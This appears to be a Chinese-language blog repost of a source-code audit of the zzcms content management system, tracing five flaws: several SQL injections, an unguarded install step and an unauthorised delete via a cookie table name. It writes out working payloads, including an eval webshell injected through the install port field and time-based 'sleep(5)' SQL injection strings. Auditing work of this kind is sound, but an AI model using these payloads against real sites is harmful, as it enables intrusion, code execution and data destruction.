zzcms的再一次审计

前言

首发 奇安信攻防社区https://forum.butian.net/share/640

在看了社区https://forum.butian.net/share/460师傅的文章后 找师傅要到源码 然后在次对zzcms发起了审计

审计开始

首先打开页面

1

第一处sql

2

来到ask/search.php 页面 这里定义了一个$fp 引入了一个模板 然后通过$f用fopen函数用只读的方式打开ask_search.htm

3

然后通过fread函数来读取
fread() 函数读取文件(可安全用于二进制文件)。

4

然后期间经过了一些str_replace函数的过滤 在232行 调用的showlabel函数
我们跟进这个函数

5

通过foreach函数遍历channels数组 经过测试 最后都会进入到if里面

6

在if函数中又调用了fixed函数 我们继续跟进

7

Fixed函数通过switch 根据传进来的channels值 分别调用函数 通过前面知道channels数组的第一个的ad 所以会进入ad 调用 showed函数 继续跟进showad

8

Showad函数 会将传进去的内容先用explode函数进行分割 如果匹配不到分割的参数 则会返回整个$cs 是一个数组
所以后面$b就有值了 $s就为空
继续看后面

9

这里发现sql语句 肯定想到的是sql注入 所以我们要想办法让代码进入这里面执行 sql语句在else里面 我们看看if

10

If里面的条件都是通过&& 拼接 所以我们只需要让一个不为true 就进入else
继续看 发现里面有一个filesize($fp)>10的判断 然后我们往上看$fp
$Fp是通过一系列的拼接 其中就有$b 最后拼接成htm
这个$b从前面可知是我们可以控制的 所以最后拼接出来的htm只要不存在 if的条件就不成立 就进入了else 执行sql

11

后面调用了query函数 我们跟进query函数

12

是没有任何防护的(这里说错了 其实是有sql注入防护的 因为这里的数据是通过文件读取的 所以过滤函数没有起作用 后面会有介绍)
Sql测试

13

来到后台 添加一个模板ask_search.htm
内容
然后保存 然后访问 ask/search.php

14

延时成功
我在测试这里的时候当时遇到了一个小问题 开始一直不能延时 后来才发现是zzcms_ad
这个表的原因

15

Zzcms_ad 这个表不能为空 空的话 就无法延时

第二处代码执行:

在install/index.php的114行

16

用fopen函数 写入的方式打开了文件
用fputs函数写入文件
fputs() 函数写入文件(可安全用于二进制文件)

17

然后在step_2.php 以及 345文件中都没有发现判断是否又install.lock这个文件

18

在install/index.php页面又是通过$step来包含这些页面的 然后我们看看这个$step是怎么传入的

19

自己通过post的方式传入 也没有任何防护 所以我们可以直接通过post的方式构造step=2 直接来到安装步骤的第二步
测试
现进入install/index.php页面

20

然后打开hackbar

21

这里有个疑惑 不知道为什么抓包改请求方式的办法 一直用不起 页面一直显示空白

22

一直下一步 来到这里

23

通过这里可以知道 创建数据库这一步的这些数据 会写入到另一个文件config.php

24

并且写入的时候 没有什么过滤 说明 写入的参数是可控的 在这里可以直接尝试写入一句话
在端口的位置输入3306’);eval($_POST[‘a’]);(‘

25

然后下一步

26

然后查看config.php

27

成功写入

28

可getshell

第三处越权

来到tag.php页面

29

30

现查出所有的表 然后和 cookie中的tablename的值进行比对
str_is_inarr跟进这个函数

31

然后通过in_arr函数进行比对
in_array() 函数搜索数组中是否存在指定的值。
通过前面可知$tablenames 后面拼接了# 所以能够进入到if被然后被explode函数拆分 然后进入if 返回yes

32

返回yes之后 就会执行下面的代码 然后根据dowhat 的值执行switch
前面两个看参数就知道 一个是增加 一个是修改 我们看第三个函数showtag()
跟进函数

33

上面根据action参数 获取判断是px 或者是del
通过代码分析px 没有没什么可利用的 下面的del 有可控制的点

我们可以控制tablename和id 来控制删除数据
相当于这里就是通过cookie里面传的表 以及post传的id值 进行查询表的数据和id进行匹配 匹配到了 就直接删除 没有其他的限制
测试

34

现在后台添加一个普通管理员ttt和一个超级管理员asd

35

然后登录普通管理员

36

然后访问tag.php 进行抓包

37

改包之后进行放包

38

asd超级管理员成功被ttt普通管理员删除

同理 也可以删除其他表的数据 只要表明 和id能匹配上

第四处sql

39

来到bad.php页面

40

下面有sql语句
在in 后面的 $id 没有引号保护 可能被利用

41

先来到bad.php页面 在数据库随便添加的数据
然后分析代码

42

通过post传入id 然后action=del 进入到sql执行里面 如果id后面有逗号 则执行if
有则else 看看下面

43

执行sql的函数 我们跟进这个函数

44

这个函数在conn.php里面 而conn.php还包含了其他文件

45

注意到stopsqlin.php 打开这个文件看看

46

这个文件主要是过滤的
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
相当于这里单引号双引号都过滤了
但是 有个地方没有引号保护 直接尝试payload:

47

点击删除 然后抓包

48

构造payload:id[]=1,1)+or sleep(5)#&del=%E5%88%A0%E9%99%A4%E9%80%89%E4%B8%AD%E7%9A%84%E4%BF%A1%E6%81%AF&pagename=showbad.php%3Fpage%3D&tablename=zzcms_bad

49

成功延时

但是这个sql也是要登录后台的

第五处sql

因为前面的sql需要登录后台 所以想找个不需要登录的
前面找到没有引号保护的sql 这个cms肯定不止一个地方 全局搜索

50

在dl/dl_print.php 文件下找到

51

这个文件在开始也没有检验是否登录 所以有戏 接着分析源码

52

通过cookie是否有username 来判断是否执行OpenAndDataFunc这个函数 这个函数是弹出登录框的

往后看

53

id还是通过post传入

54

这里有个权限的判断 我们跟进这个函数

55

这个函数是判断cookie中的uesname是否在zzcms_user表中 有则返回yes
这里这个username 是可以通过枚举来判断这个表里有哪一些

56

然后就看到这里 和前面的差不多 但这里两个sql语句都没有引号保护 说明 都可以达到注入
尝试测试

先打开dl/dl_print.php 页面

57

然后刷新抓包

58

然后右键改包 构造payload:id[]=2+or sleep(5)#

59

还有一种

60

都可以延时


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!